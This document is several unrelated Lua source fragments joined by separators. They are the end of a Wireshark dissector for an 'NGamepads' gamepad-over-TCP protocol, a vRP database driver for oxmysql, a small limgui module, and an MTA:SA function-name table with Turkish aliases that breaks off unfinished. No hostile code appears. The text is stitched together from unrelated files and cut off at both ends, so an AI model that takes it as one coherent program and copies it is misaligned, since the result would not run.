length = ProtoField.uint8("ng.length", "Length", base.DEC),
slot = ProtoField.uint8("ng.slot", "Slot", base.DEC),
axis = ProtoField.uint8("ng.axis", "Axis", base.DEC, axis_valstr),
minimum = ProtoField.int32("ng.absinfo.minimum", "Minimum", base.DEC),
maximum = ProtoField.int32("ng.absinfo.maximum", "Maximum", base.DEC),
value = ProtoField.int32("ng.absinfo.value", "Value", base.DEC),
fuzz = ProtoField.int32("ng.absinfo.fuzz", "Fuzz", base.DEC),
flat = ProtoField.int32("ng.absinfo.flat", "Flat", base.DEC),
resolution = ProtoField.int32("ng.absinfo.resolution", "Resolution", base.DEC),
name = ProtoField.string("ng.name", "Name", base.STRING),
password = ProtoField.string("ng.password", "Password", base.STRING),
vendor = ProtoField.uint16("ng.id.vendor", "Vendor", base.HEX),
bustype = ProtoField.uint16("ng.id.bustype", "Bustype", base.HEX),
product = ProtoField.uint16("ng.id.product", "Product", base.HEX),
idversion = ProtoField.uint16("ng.id.version", "Version", base.HEX),
event_type = ProtoField.uint16("ng.event.type", "Type", base.HEX),
event_code = ProtoField.uint16("ng.event.code", "Code", base.HEX),
event_value= ProtoField.int32("ng.event.value", "Value", base.DEC),
request_code = ProtoField.uint16("ng.code", "Code", base.HEX),
request_type = ProtoField.uint16("ng.type", "Type", base.HEX)
}
ngamepads_proto.fields = hdr_fields
dprint2("ngamepads_proto ProtoFields registered")
local tvbs = {}
function ngamepads_proto.init()
-- reset the save Tvbs
tvbs = {}
end
-- minimum size of a message
local NGAMEPADS_MSG_MIN_LEN = 1
-- some forward "declarations" of helper functions we use in the dissector
local createSllTvb, dissectNGamepads, checkNGamepadsLength
-- this holds the plain "data" Dissector, in case we can't dissect it as Netlink
local data = Dissector.get("data")
-- create a function to dissect it
function ngamepads_proto.dissector(tvbuf, pktinfo, root)
dprint2("ngamepads_proto.dissector called")
-- reset the save Tvbs
tvbs = {}
local pktlen = tvbuf:len()
local bytes_consumed = 0
while bytes_consumed < pktlen do
local result = dissectNGamepads(tvbuf, pktinfo, root, bytes_consumed)
if result > 0 then
bytes_consumed = bytes_consumed + result
elseif result == 0 then
return 0
else
pktinfo.desegment_offset = bytes_consumed
-- invert the negative result so it's a positive number
result = -result
pktinfo.desegment_len = result
return pktlen
end
end
return bytes_consumed
end
dissectNGamepads = function(tvbuf, pktinfo, root, offset)
dprint2("NGamepads dissect function called")
local length_val = checkNGamepadsLength(tvbuf, offset)
if length_val <= 0 then
dprint2("Ngamepads length check failed.")
return length_val
end
pktinfo.cols.protocol:set("NGamepads")
if string.find(tostring(pktinfo.cols.info), "^NGamepads") == nil then
pktinfo.cols.info:set("Ngamepads")
end
local tree = root:add(ngamepads_proto, tvbuf:range(offset, length_val))
-- msg_type
local msg_type_tvbr = tvbuf:range(offset, 1)
local msg_type_val = msg_type_tvbr:uint()
tree:add(hdr_fields.msg_type, msg_type_tvbr)
if msg_type_val == msgtype.HELLO then
-- version
tree:add(hdr_fields.version, tvbuf:range(offset + 1, 1))
tree:add(hdr_fields.slot, tvbuf:range(offset + 2, 1))
elseif msg_type_val == msgtype.PASSWORD then
local len = tvbuf:range(offset + 1, 1)
tree:add(hdr_fields.length, len)
tree:add(hdr_fields.password, tvbuf:range(offset + 2, len:uint()))
elseif msg_type_val == msgtype.ABSINFO then
tree:add(hdr_fields.axis, tvbuf:range(offset + 1, 1))
tree:add(hdr_fields.value, tvbuf:range(offset + 2, 4))
tree:add(hdr_fields.minimum, tvbuf:range(offset + 6, 4))
tree:add(hdr_fields.maximum, tvbuf:range(offset + 10, 4))
tree:add(hdr_fields.fuzz, tvbuf:range(offset + 14, 4))
tree:add(hdr_fields.flat, tvbuf:range(offset + 18, 4))
tree:add(hdr_fields.resolution, tvbuf:range(offset + 22, 4))
elseif msg_type_val == msgtype.DEVICE then
local len = tvbuf:range(offset + 1, 1)
tree:add(hdr_fields.length, len)
local id_tree = tree:add("struct input_id", tvbuf:range(offset + 2, 8))
id_tree:add(hdr_fields.bustype, tvbuf:range(offset + 2, 2))
id_tree:add(hdr_fields.vendor, tvbuf:range(offset + 4, 2))
id_tree:add(hdr_fields.product, tvbuf:range(offset + 6, 2))
id_tree:add(hdr_fields.idversion, tvbuf:range(offset + 8, 2))
tree:add(hdr_fields.name, tvbuf:range(offset + 10, len:uint()))
elseif msg_type_val == msgtype.REQUEST_EVENT then
tree:add(hdr_fields.request_type, tvbuf:range(offset + 1, 2))
tree:add(hdr_fields.request_code, tvbuf:range(offset + 3, 2))
elseif msg_type_val == msgtype.DATA then
tree:add(hdr_fields.event_type, tvbuf:range(offset + 1, 2))
tree:add(hdr_fields.event_code, tvbuf:range(offset + 3, 2))
tree:add(hdr_fields.event_value, tvbuf:range(offset + 5, 4))
end
return length_val
end
checkNGamepadsLength = function(tvbuf, offset)
local msglen = tvbuf:len() - offset
dprint2("msglen is " .. msglen)
if msglen ~= tvbuf:reported_length_remaining(offset) then
dprint2("Captured packet was shorter than original, can't reassamble")
return 0
end
if msglen < 1 then
dprintf2("Need more bytes to figure out msgtype field")
return -DESEGMENT_ONE_MORE_SEGMENT
end
local msgtype_val = tvbuf:range(offset, 1):uint()
if msgtype_val == msgtype.HELLO then
return 3
elseif msgtype_val == msgtype.PASSWORD then
if msglen < 2 then
return -DESEGMENT_ONE_MORE_SEGMENT
else
return tvbuf:range(offset + 1, 1):uint() + 2
end
elseif msgtype_val == msgtype.ABSINFO then
return 28
elseif msgtype_val == msgtype.DEVICE then
if msglen < 2 then
return -DESEGMENT_ONE_MORE_SEGMENT
else
return tvbuf:range(offset + 1, 1):uint() + 10
end
elseif msgtype_val == msgtype.REQUEST_EVENT then
return 5
elseif msgtype_val == msgtype.DATA then
return 9
elseif msgtype_val == msgtype.VERSION_MISMATCH then
return 2
elseif msgtype_val == msgtype.SUCCESS then
return 2
elseif msgtype_val == msgtype.SETUP_END then
return 1
elseif msgtype_val == msgtype.INVALID_PASSWORD then
return 1
elseif msgtype_val == msgtype.SETUP_REQUIRED then
return 1
elseif msgtype_val == msgtype.CLIENT_SLOT_IN_USE then
return 1
elseif msgtype_val == msgtype.CLIENT_SLOTS_EXHAUSTED then
return 1
elseif msgtype_val == msgtype.QUIT then
return 1
else
dprint2("unkown msg_type")
return 0
end
end
local function enableDissector()
DissectorTable.get("tcp.port"):add(default_settings.port, ngamepads_proto)
end
enableDissector()
local function disableDissector()
DissectorTable.get("tcp.port"):remove(default_settings.port, ngamepads_proto)
end
local debug_pref_enum = {
{ 1, "Disabled", debug_level.DISABLED },
{ 2, "Level 1", debug_level.LEVEL_1 },
{ 3, "Level 2", debug_level.LEVEL_2 }
}
ngamepads_proto.prefs.enabled = Pref.bool("Dissector enabled", default_settings.enabled, "Whether the NGampads dissector is enabled or not")
ngamepads_proto.prefs.debug = Pref.enum("Debug", default_settings.debug_level, "The debug printing level", debug_pref_enum)
function ngamepads_proto.prefs_changed()
dprint2("prefs_changed called")
default_settings.debug_level = ngamepads_proto.prefs.debug
resetDebugLevel()
if default_settings.enabled ~= ngamepads_proto.prefs.enabled then
default_settings.enabled = ngamepads_proto.prefs.enabled
if default_settings.enabled then
enableDissector()
else
disableDissector()
end
reload()
end
end
dprint2("pcapfile Prefs registered")
|
local Proxy = module("vrp","lib/Proxy")
local vRP = Proxy.getInterface("vRP")
local queries = {}
function onInit(cfg)
return MySQL ~= nil
end
function onPrepare(name, query)
queries[name] = query
end
function onQuery(name, params, mode)
local query = queries[name]
if mode == "execute" then
return MySQL.update.await(query, params)
elseif mode == "scalar" then
return MySQL.scalar.await(query, params)
else
local result = MySQL.query.await(query, params)
if query:find(";.-SELECT.+LAST_INSERT_ID%(%)") then
return { { id = result[1].insertId } }, result[1].affectedRows
end
return result, #result
end
end
async(function()
vRP.registerDBDriver("oxmysql", onInit, onPrepare, onQuery)
end) |
local utils = require "limgui.utils"
local M = {}
---@class VertexLayout
M.VertexLayout = {}
M.VertexLayout.new = function(layout)
return utils.new(M.VertexLayout, layout)
end
return M
|
local client_functions = {
["engineRequestModel"] = "",
["engineLoadIFP"] = "",
["getLowLODElement"] = "",
["dxDrawMaterialSectionLine3D"] = "",
["setBlipColor"] = "",
["getPedStat"] = "",
["guiStaticImageLoadImage"] = "",
["isPlayerMapForced"] = "",
["setElementFrozen"] = "",
["givePlayerMoney"] = "",
["isConsoleActive"] = "",
["getLightRadius"] = "",
["getCamera"] = "",
["setWaveHeight"] = "",
["guiGetFont"] = "",
["guiSetFont"] = "",
["outputChatBox"] = "yaziEkle",
["setLowLODElement"] = "",
["guiGetSize"] = "",
["setLightRadius"] = "",
["fileIsEOF"] = "",
["canBrowserNavigateForward"] = "",
["getVehicleUpgrades"] = "",
["getVehicleOverrideLights"] = "",
["call"] = "ara",
["resetSunColor"] = "",
["setVehicleDoorsUndamageable"] = "",
["setPedControlState"] = "",
["engineReplaceAnimation"] = "",
["setVehicleOverrideLights"] = "",
["getPickupAmmo"] = "",
["getOriginalHandling"] = "",
["xmlNodeSetAttribute"] = "",
["getPedControlState"] = "",
["engineResetSurfaceProperties"] = "",
["stopObject"] = "",
["getWaveHeight"] = "",
["setCameraViewMode"] = "",
["resetSkyGradient"] = "",
["setVehicleHeadLightColor"] = "",
["injectBrowserMouseDown"] = "",
["guiMemoSetCaretIndex"] = "",
["isOOPEnabled"] = "",
["getVehicleHeadLightColor"] = "",
["setElementFrozen"] = "",
["getCameraViewMode"] = "",
["fxAddWaterHydrant"] = "",
["areTrafficLightsLocked"] = "",
["bitArShift"] = "",
["setTimer"] = "zamanlayiciEkle",
["setElementCollidableWith"] = "",
["iprint"] = "",
["setVehicleWindowOpen"] = "",
["getObjectScale"] = "",
["guiEditSetMaxLength"] = "",
["setWeaponAmmo"] = "",
["getKeyState"] = "",
["utfSeek"] = "",
["breakObject"] = "",
["hash"] = "",
["getElementVelocity"] = "",
["isBrowserLoading"] = "",
["isVehicleDamageProof"] = "",
["xmlSaveFile"] = "",
["setElementVelocity"] = "",
["outputConsole"] = "",
["getRadarAreaSize"] = "",
["guiCreateProgressBar"] = "",
["guiSetInputMode"] = "",
["getKeyBoundToCommand"] = "",
["getProjectileType"] = "",
["setRadarAreaSize"] = "",
["setElementDoubleSided"] = "",
["getTickCount"] = "",
["xmlNodeGetChildren"] = "",
["setColPolygonPointPosition"] = "",
["isTransferBoxActive"] = "",
["setMinuteDuration"] = "",
["getPedAmmoInClip"] = "",
["clearChatBox"] = "",
["getAircraftMaxHeight"] = "",
["guiCreateMemo"] = "",
["resizeBrowser"] = "",
["getVehicleSirenParams"] = "",
["setAircraftMaxHeight"] = "",
["getProjectileForce"] = "",
["setVehicleComponentScale"] = "",
["next"] = "",
["getMinuteDuration"] = "",
["isElementStreamable"] = "",
["getElementsWithinRange"] = "",
["getWeaponState"] = "",
["getVehicleComponentScale"] = "",
["dxSetAspectRatioAdjustmentEnabled"] = "",
["getVehicleOccupants"] = "",
["setWeaponState"] = "",
["utf8"] = "",
["setPedAnalogControlState"] = "",
["getPlayerPing"] = "",
["requestBrowserDomains"] = "",
["setElementStreamable"] = "",
["Matrix"] = "",
["getBrowserSource"] = "",
["select"] = "sec",
["getPedAnalogControlState"] = "",
["getElementChildren"] = "",
["guiSetVisible"] = "",
["tostring"] = "",
["engineReplaceModel"] = "",
["engineSetSurfaceProperties"] = "",
["guiGridListSetItemData"] = "",
["guiLabelSetColor"] = "",
["getElementsWithinColShape"] = "",
["getElementModel"] = "",
["fileExists"] = "",
["localPlayer"] = "yerelOyuncu",
["isVoiceEnabled"] = "",
["dxCreateShader"] = "",
["getObjectProperty"] = "",
["passwordHash"] = "",
["setElementModel"] = "",
["load"] = "yukle",
["getNearClipDistance"] = "",
["warpPedIntoVehicle"] = "",
["forcePlayerMap"] = "",
["guiGridListAutoSizeColumn"] = "",
["setPedRotation"] = "",
["isPedChoking"] = "",
["getVehicleSirens"] = "",
["getPedRotation"] = "",
["guiCreateWindow"] = "",
["loadstring"] = "",
["fxAddPunchImpact"] = "",
["setPedLookAt"] = "",
["guiCreateBrowser"] = "",
["setJetpackMaxHeight"] = "",
["testLineAgainstWater"] = "",
["toggleAllControls"] = "",
["getResourceRootElement"] = "",
["guiScrollPaneSetVerticalScrollPosition"] = "",
["guiGridListIsSortingEnabled"] = "",
["getJetpackMaxHeight"] = "",
["fxAddSparks"] = "",
["bitReplace"] = "",
["isSoundPaused"] = "",
["ipairs"] = "",
["dxDrawImage"] = "",
["getCameraTarget"] = "",
["setSunSize"] = "",
["setCameraTarget"] = "",
["destroyElement"] = "",
["isSoundPanningEnabled"] = "",
["playSound3D"] = "",
["resetPedsLODDistance"] = "",
["setVehicleDirtLevel"] = "",
["guiGridListSetSortingEnabled"] = "",
["engineRestoreModelPhysicalPropertiesGroup"] = "",
["getSunSize"] = "",
["getSoundBufferLength"] = "",
["loadfile"] = "dosyaYukle",
["getCommandsBoundToKey"] = "",
["getPedTask"] = "",
["getAttachedElements"] = "",
["getRainLevel"] = "",
["guiGridListSetItemColor"] = "",
["setElementRotation"] = "",
["getPlayersInTeam"] = "",
["playSound"] = "sesOynat",
["getSoundMinDistance"] = "",
["createColPolygon"] = "",
["getWaterLevel"] = "",
["getElementParent"] = "",
["addVehicleUpgrade"] = "",
["canPedBeKnockedOffBike"] = "",
["guiGetText"] = "",
["detachTrailerFromVehicle"] = "",
["isPedInVehicle"] = "",
["doesPedHaveJetPack"] = "",
["guiSetEnabled"] = "",
["dxDrawPrimitive"] = "",
["fxAddWood"] = "",
["playSFX3D"] = "",
["setElementParent"] = "",
["setBrowserRenderingPaused"] = "",
["getPickupType"] = "",
["setPedVoice"] = "",
["getZoneName"] = "",
["unpack"] = "",
["engineGetModelNameFromID"] = "",
["createPickup"] = "",
["resetWaterLevel"] = "",
["getClothesByTypeIndex"] = "",
["setNearClipDistance"] = "",
["guiScrollPaneSetHorizontalScrollPosition"] = "",
["getDevelopmentMode"] = "",
["getPedVoice"] = "",
["setDevelopmentMode"] = "",
["guiComboBoxSetOpen"] = "",
["isPedOnFire"] = "",
["getElementAngularVelocity"] = "",
["getElementAttachedTo"] = "",
["xmlCreateFile"] = "",
["isPedDucked"] = "",
["fileGetPath"] = "",
["guiEditSetCaretIndex"] = "",
["engineLoadDFF"] = "",
["getTeamFromName"] = "",
["isVehicleOnGround"] = "",
["engineRestoreObjectGroupPhysicalProperties"] = "",
["guiScrollBarGetScrollPosition"] = "",
["dxGetTexturePixels"] = "",
["showCursor"] = "",
["setRainLevel"] = "",
["getFarClipDistance"] = "",
["createLight"] = "",
["getSunColor"] = "",
["getElementAlpha"] = "",
["getRadarAreaColor"] = "",
["getBrowserSettings"] = "",
["setPedOnFire"] = "",
["setRadarAreaColor"] = "",
["guiScrollPaneGetVerticalScrollPosition"] = "",
["setAnalogControlState"] = "",
["isElementDoubleSided"] = "",
["setElementHealth"] = "",
["guiComboBoxSetSelected"] = "",
["setMarkerColor"] = "",
["xmlCopyFile"] = "",
["getMarkerColor"] = "",
["setElementAlpha"] = "",
["getElementHealth"] = "",
["passwordVerify"] = "",
["bitRShift"] = "",
["getPedFightingStyle"] = "",
["getMarkerCount"] = "",
["decodeString"] = "",
["guiRadioButtonSetSelected"] = "",
["isPlayerHudComponentVisible"] = "",
["setPedWalkingStyle"] = "",
["isPedDoingGangDriveby"] = "",
["guiMemoSetReadOnly"] = "",
["isPedWearingJetpack"] = "",
["getBrowserTitle"] = "",
["xmlCreateChild"] = "",
["setMarkerIcon"] = "",
["isWorldSoundEnabled"] = "",
["setPlayerMoney"] = "",
["getPedWalkingStyle"] = "",
["setVehicleComponentRotation"] = "",
["guiComboBoxGetItemCount"] = "",
["setPedArmor"] = "",
["toJSON"] = "",
["getElementDistanceFromCentreOfMassToBaseOfModel"] = "",
["getElementsByType"] = "",
["dxDrawRectangle"] = "",
["getPedArmor"] = "",
["isPedDead"] = "",
["isAmbientSoundEnabled"] = "",
["dxDrawMaterialLine3D"] = "",
["downloadFile"] = "",
["setTrafficLightsLocked"] = "",
["guiProgressBarSetProgress"] = "",
["utfLen"] = "",
["pcall"] = "",
["guiSetPosition"] = "",
["getAnalogControlState"] = "",
["engineGetVisibleTextureNames"] = "",
["dxDrawPrimitive3D"] = "",
["setVehicleEngineState"] = "",
["getPedTargetEnd"] = "",
["getVehicleLandingGearDown"] = "",
["addCommandHandler"] = "",
["getHeliBladeCollisionsEnabled"] = "",
["guiEditIsMasked"] = "",
["getfenv"] = "",
["getBoundKeys"] = "",
["setHeliBladeCollisionsEnabled"] = "",
["engineGetModelTextureNames"] = "",
["dxDrawLine3D"] = "",
["engineGetModelIDFromName"] = "",
["guiCreateScrollBar"] = "",
["pregFind"] = "",
["getOriginalWeaponProperty"] = "",
["setPlayerNametagShowing"] = "",
["dxDrawImageSection"] = "",
["getPickupAmount"] = "",
["getWeather"] = "",
["getPlayerMoney"] = "",
["blowVehicle"] = "",
["isVehicleWheelOnGround"] = "",
["xmlNodeSetName"] = "",
["isVehicleTaxiLightOn"] = "",
["getCursorAlpha"] = "",
["setVehicleLandingGearDown"] = "",
["getMoonSize"] = "",
["getResourceExportedFunctions"] = "",
["hasElementData"] = "",
["interpolateBetween"] = "",
["createRadarArea"] = "",
["engineApplyShaderToWorldTexture"] = "",
["require"] = "",
["setElementAngularVelocity"] = "",
["getVehicleTowedByVehicle"] = "",
["setTrafficLightState"] = "",
["setMoonSize"] = "",
["rawequal"] = "",
["getTrafficLightState"] = "",
["guiEditSetReadOnly"] = "",
["newproxy"] = "",
["getPerformanceStats"] = "",
["fixVehicle"] = "",
["fxAddGlass"] = "",
["guiGridListClear"] = "",
["setSearchLightEndRadius"] = "",
["guiWindowIsMovable"] = "",
["getElementType"] = "",
["getElementRotation"] = "",
["triggerEvent"] = "",
["getSearchLightEndRadius"] = "",
["getSoundMetaTags"] = "",
["guiGridListSetScrollBars"] = "",
["base64Encode"] = "",
["setfenv"] = "",
["executeBrowserJavascript"] = "",
["dxIsAspectRatioAdjustmentEnabled"] = "",
["dxUpdateScreenSource"] = "",
["setVehicleDamageProof"] = "",
["getValidPedModels"] = "",
["base64Decode"] = "",
["guiEditSetMasked"] = "",
["pairs"] = "",
["getNetworkStats"] = "",
["guiLabelGetFontHeight"] = "",
["engineImportTXD"] = "",
["setSoundPosition"] = "",
["guiGridListGetItemText"] = "",
["guiGridListGetSelectedItem"] = "",
["guiMemoGetVerticalScrollPosition"] = "",
["getSoundPosition"] = "",
["coroutine"] = "",
["setTrainDerailable"] = "",
["fromJSON"] = "",
["isControlEnabled"] = "",
["fxAddWaterSplash"] = "",
["isVehicleBlown"] = "",
["createObject"] = "",
["setCursorAlpha"] = "",
["string"] = "",
["resource"] = "kaynak",
["createColCuboid"] = "",
["setHeatHaze"] = "",
["guiCreateScrollPane"] = "",
["engineGetSurfaceProperties"] = "",
["setWeather"] = "",
["getUserdataType"] = "",
["resetWeaponFiringRate"] = "",
["guiLabelGetColor"] = "",
["setPedAnimation"] = "",
["getPedOccupiedVehicleSeat"] = "",
["setElementFrozen"] = "",
["guiCheckBoxGetSelected"] = "",
["guiProgressBarGetProgress"] = "",
["isCursorShowing"] = "",
["dxSetShaderTransform"] = "",
["getHeatHaze"] = "",
["guiGetAlpha"] = "",
["canBrowserNavigateBack"] = "",
["getPedControlState"] = "",
["guiComboBoxClear"] = "",
["getGravity"] = "",
["takePlayerMoney"] = "oyuncuParasınıAl",
["setProjectileCounter"] = "",
["setPedFootBloodEnabled"] = "",
["setCursorPosition"] = "",
["getProjectileCounter"] = "",
["isWaterDrawnLast"] = "",
["createBlipAttachedTo"] = "",
["engineRestoreModel"] = "",
["getColShapeSize"] = "",
["setGravity"] = "",
["setFPSLimit"] = "",
["getBlipSize"] = "",
["getGarageBoundingBox"] = "",
["fileGetSize"] = "",
["getFPSLimit"] = "",
["getThisResource"] = "",
["setBlipSize"] = "",
["getPlayerMapBoundingBox"] = "",
["setColShapeSize"] = "",
["dxDrawWiredSphere"] = "",
["setWeaponProperty"] = "",
["isMTAWindowActive"] = "",
["getSFXStatus"] = "",
["getVehicleAdjustableProperty"] = "",
["engineRestoreAnimation"] = "",
["setVehicleGravity"] = "",
["getCursorPosition"] = "",
["getVehicleName"] = "",
["createMarker"] = "",
["getElementRotation"] = "",
["setElementRotation"] = "",
["outputDebugString"] = "",
["getPedWeapon"] = "",
["isChatVisible"] = "",
["isVehicleWindowOpen"] = "",
["guiGridListSetColumnWidth"] = "",
["tocolor"] = "",
["fxAddFootSplash"] = "",
["resetTimer"] = "",
["setSoundPan"] = "",
["fetchRemote"] = "",
["xmlNodeGetValue"] = "",
["setPedAimTarget"] = "",
["injectBrowserMouseWheel"] = "",
["engineLoadTXD"] = "",
["getSoundPan"] = "",
["setSoundEffectEnabled"] = "",
["isPedOnGround"] = "",
["getPedContactElement"] = "",
["error"] = "hata",
["getLatentEventStatus"] = "",
["setElementModel"] = "",
["isElement"] = "",
["setVehicleLightState"] = "",
["guiComboBoxIsOpen"] = "",
["setWindowFlashing"] = "",
["getVehicleLightState"] = "",
["createColTube"] = "",
["restoreWorldModel"] = "",
["getSoundMaxDistance"] = "",
["executeCommandHandler"] = "",
["detonateSatchels"] = "",
["isPedDoingTask"] = "",
["guiGridListSetColumnTitle"] = "",
["tonumber"] = "",
["getPlayerFromName"] = "",
["setSoundMaxDistance"] = "",
["getBlipIcon"] = "",
["setBlipIcon"] = "",
["guiMemoGetCaretIndex"] = "",
["dxGetTextWidth"] = "",
["getElementModel"] = "",
["setGameSpeed"] = "",
["setEffectSpeed"] = "",
["isElementStreamedIn"] = "",
["guiSetAlpha"] = "",
["getResourceFromName"] = "",
["getGameSpeed"] = "",
["resetRainLevel"] = "",
["fileDelete"] = "",
["setPlayerHudComponentVisible"] = "",
["getPlayerWantedLevel"] = "",
["isInsideColShape"] = "",
["setTrainDerailed"] = "",
["getPedStat"] = "",
["setSkyGradient"] = "",
["setVehicleNitroLevel"] = "",
["resetNearClipDistance"] = "",
["getCloudsEnabled"] = "",
["engineGetObjectGroupPhysicalProperty"] = "",
["guiGridListRemoveRow"] = "",
["guiEditGetCaretIndex"] = "",
["xmlNodeGetChildren"] = "",
["setCameraMatrix"] = "",
["setPedDoingGangDriveby"] = "",
["getEventHandlers"] = "",
["setVehicleComponentPosition"] = "",
["getSkyGradient"] = "",
["fxAddTyreBurst"] = "",
["isElementLocal"] = "",
["getTrainPosition"] = "",
["getPlayerTeam"] = "",
["getTrainDirection"] = "",
["setVehicleDoorState"] = "",
["getVehicleComponents"] = "",
["getVehicleComponentPosition"] = "",
["triggerLatentServerEvent"] = "",
["xmlLoadString"] = "",
["getSoundProperties"] = "",
["getRadioChannel"] = "",
["guiComboBoxRemoveItem"] = "",
["guiCheckBoxSetSelected"] = "",
["setTrainPosition"] = "",
["getElementChild"] = "",
["getElementModel"] = "",
["xmlUnloadFile"] = "",
["xmlFindChild"] = "",
["setElementModel"] = "",
["fxAddTankFire"] = "",
["getPickupWeapon"] = "",
["xmlNodeGetAttribute"] = "",
["root"] = "",
["resetVehicleComponentRotation"] = "",
["dxGetBlendMode"] = "",
["engineReplaceCOL"] = "",
["guiMemoSetCaretIndex"] = "",
["xmlFindChild"] = "",
["guiEditIsReadOnly"] = "",
["setElementFrozen"] = "",
["guiLabelGetTextExtent"] = "",
["dxCreateFont"] = "",
["isElementWaitingForGroundToLoad"] = "",
["bitNot"] = "",
["guiCreateCheckBox"] = "",
["guiGetProperty"] = "",
["fileOpen"] = "",
["engineFreeModel"] = "",
["isElementInWater"] = "",
["isLineOfSightClear"] = "",
["guiGridListGetVerticalScrollPosition"] = "",
["getVehicleSirensOn"] = "",
["guiGetVisible"] = "",
["ref"] = "",
["areVehicleLightsOn"] = "",
["xpcall"] = "",
["dxCreateScreenSource"] = "",
["_VERSION"] = "",
["getVersion"] = "",
["getTeamName"] = "",
["teaEncode"] = "",
["getVehicleUpgradeSlotName"] = "",
["getWeaponOwner"] = "",
["getTypeIndexFromClothes"] = "",
["setElementModel"] = "",
["isGarageOpen"] = "",
["resetWorldSounds"] = "",
["getProjectileTarget"] = "",
["isElementLowLOD"] = "",
["setVehicleTaxiLightOn"] = "",
["getEasingValue"] = "",
["engineRemoveShaderFromWorldTexture"] = "",
["split"] = "",
["dxSetShaderTessellation"] = "",
["getPedTotalAmmo"] = "",
["getSoundLevelData"] = "",
["setVehiclesLODDistance"] = "",
["createBrowser"] = "tarayiciOlustur",
["setElementDimension"] = "",
["dxSetPixelColor"] = "",
["isDebugViewActive"] = "",
["getElementBoundingBox"] = "",
["getElementModel"] = "",
["detachElements"] = "",
["getElementDimension"] = "",
["detachElements"] = "",
["guiRadioButtonGetSelected"] = "",
["getVehiclesLODDistance"] = "",
["stopSound"] = "",
["getVehicleVariant"] = "",
["guiComboBoxAddItem"] = "",
["fileGetPos"] = "",
["xmlLoadFile"] = "",
["guiComboBoxGetSelected"] = "",
["resetHeatHaze"] = "",
["engineSetAsynchronousLoading"] = "",
["assert"] = "",
["fxAddGunshot"] = "",
["fileCopy"] = "",
["guiSetSize"] = "",
["utfChar"] = "",
["toggleControl"] = "",
["getElementAngularVelocity"] = "",
["getPlayerNametagText"] = "",
["setBlipOrdering"] = "",
["guiGridListGetSelectedItems"] = "",
["getVehicleModelFromName"] = "",
["setGarageOpen"] = "",
["bitExtract"] = "",
["getVehicleOccupant"] = "",
["guiCreateTabPanel"] = "",
["setPlayerNametagText"] = "",
["getBlipOrdering"] = "",
["getVehicleTurretPosition"] = "",
["setSoundVolume"] = "",
["createEffect"] = "",
["guiGridListAddRow"] = "",
["removeCommandHandler"] = "",
["dxConvertPixels"] = "",
["engineRestoreCOL"] = "",
["setCameraInterior"] = "",
["setPlayerHudComponentVisible"] = "",
["setPedTargetingMarkerEnabled"] = "",
["Vector3"] = "",
["isElementSyncer"] = "",
["getVehicleNitroCount"] = "",
["guiSetText"] = "",
["getPedCameraRotation"] = "",
["getElementByIndex"] = "",
["setPedCameraRotation"] = "",
["pregMatch"] = "",
["guiGetScreenSize"] = "",
["getTeamColor"] = "",
["removeColPolygonPoint"] = "",
["guiGridListGetItemColor"] = "",
["setVehicleWheelStates"] = "",
["dxSetRenderTarget"] = "",
["guiWindowIsSizable"] = "",
["guiCreateRadioButton"] = "",
["setLightColor"] = "",
["isElementInWater"] = "",
["setVehicleNitroCount"] = "",
["getTime"] = "",
["getPedMoveState"] = "",
["guiGridListGetHorizontalScrollPosition"] = "",
["givePedWeapon"] = "",
["isPlayerNametagShowing"] = "",
["setTime"] = "",
["getLightColor"] = "",
["addPedClothes"] = "",
["getVehicleModelDummyPosition"] = "",
["getResourceGUIElement"] = "",
["getVehiclePlateText"] = "",
["getClothesTypeName"] = "",
["killTimer"] = "",
["getOcclusionsEnabled"] = "",
["dxGetPixelsFormat"] = "",
["dxSetShaderValue"] = "",
["getPedTargetStart"] = "",
["doesPedHaveJetPack"] = "",
["setOcclusionsEnabled"] = "",
["guiGetSelectedTab"] = "",
["getCameraClip"] = "",
["fileFlush"] = "",
["getProjectileCreator"] = "",
["getPedWeapon"] = "",
["setVehicleDoorOpenRatio"] = "",
["setVehicleComponentVisible"] = "",
["setCameraClip"] = "",
["getElementColShape"] = "",
["guiScrollPaneSetScrollBars"] = "",
["createColRectangle"] = "",
["setInteriorSoundsEnabled"] = "",
["sha256"] = "",
["guiWindowSetSizable"] = "",
["fxAddBulletImpact"] = "",
["setVehicleLocked"] = "",
["getInteriorSoundsEnabled"] = "",
["setmetatable"] = "",
["createPed"] = "",
["removeWorldModel"] = "",
["getPedTarget"] = "",
["isElementWithinColShape"] = "",
["guiSetInputEnabled"] = "",
["setElementInterior"] = "",
["dxCreateTexture"] = "",
["setVehicleColor"] = "",
["getElementInterior"] = "",
["getVehicleUpgradeOnSlot"] = "",
["isElementCallPropagationEnabled"] = "",
["setVehicleModelDummyPosition"] = "",
["getVehicleColor"] = "",
["dofile"] = "",
["setVehiclePlateText"] = "",
["guiGridListSetItemText"] = "",
["engineLoadCOL"] = "",
["isPedInVehicle"] = "",
["getMarkerSize"] = "",
["os"] = "",
["getLatentEventHandles"] = "",
["xmlNodeGetName"] = "",
["dxDrawLine"] = "",
["isElementFrozen"] = "",
["getPedTargetCollision"] = "",
["getChatboxLayout"] = "",
["guiMemoIsReadOnly"] = "",
["getWindVelocity"] = "",
["isPlayerMapVisible"] = "",
["getPedAmmoInClip"] = "",
["getElementChildrenCount"] = "",
["setSoundPanningEnabled"] = "",
["getElementCollisionsEnabled"] = "",
["isElementWithinMarker"] = "",
["getBirdsEnabled"] = "",
["getPedTotalAmmo"] = "",
["setBirdsEnabled"] = "",
["guiGetBrowser"] = "",
["bitLRotate"] = "",
["fileClose"] = "",
["engineGetModelTextures"] = "",
["getVehicleMaxPassengers"] = "",
["getMarkerTarget"] = "",
["attachElements"] = "",
["setWindVelocity"] = "",
["setMarkerSize"] = "",
["isElementFrozen"] = "",
["respawnObject"] = "",
["setPlayerNametagColor"] = "",
["setWeaponTarget"] = "",
["setCameraShakeLevel"] = "",
["setElementPosition"] = "",
["guiGridListGetRowCount"] = "",
["getResourceState"] = "",
["getCameraShakeLevel"] = "",
["getLightType"] = "",
["getPedWeaponSlot"] = "",
["getWeaponTarget"] = "",
["setPedWeaponSlot"] = "",
["getElementPosition"] = "",
["getPedArmor"] = "",
["createSearchLight"] = "",
["setWeaponFlags"] = "",
["guiCreateLabel"] = "",
["guiLabelSetVerticalAlign"] = "",
["getWeaponFlags"] = "",
["getSearchLightEndPosition"] = "",
["setSearchLightEndPosition"] = "",
["playSoundFrontEnd"] = "",
["setCameraGoggleEffect"] = "",
["setElementID"] = "",
["setElementCallPropagationEnabled"] = "",
["getPedTargetEnd"] = "",
["inspect"] = "",
["exports"] = "",
["getPedsLODDistance"] = "",
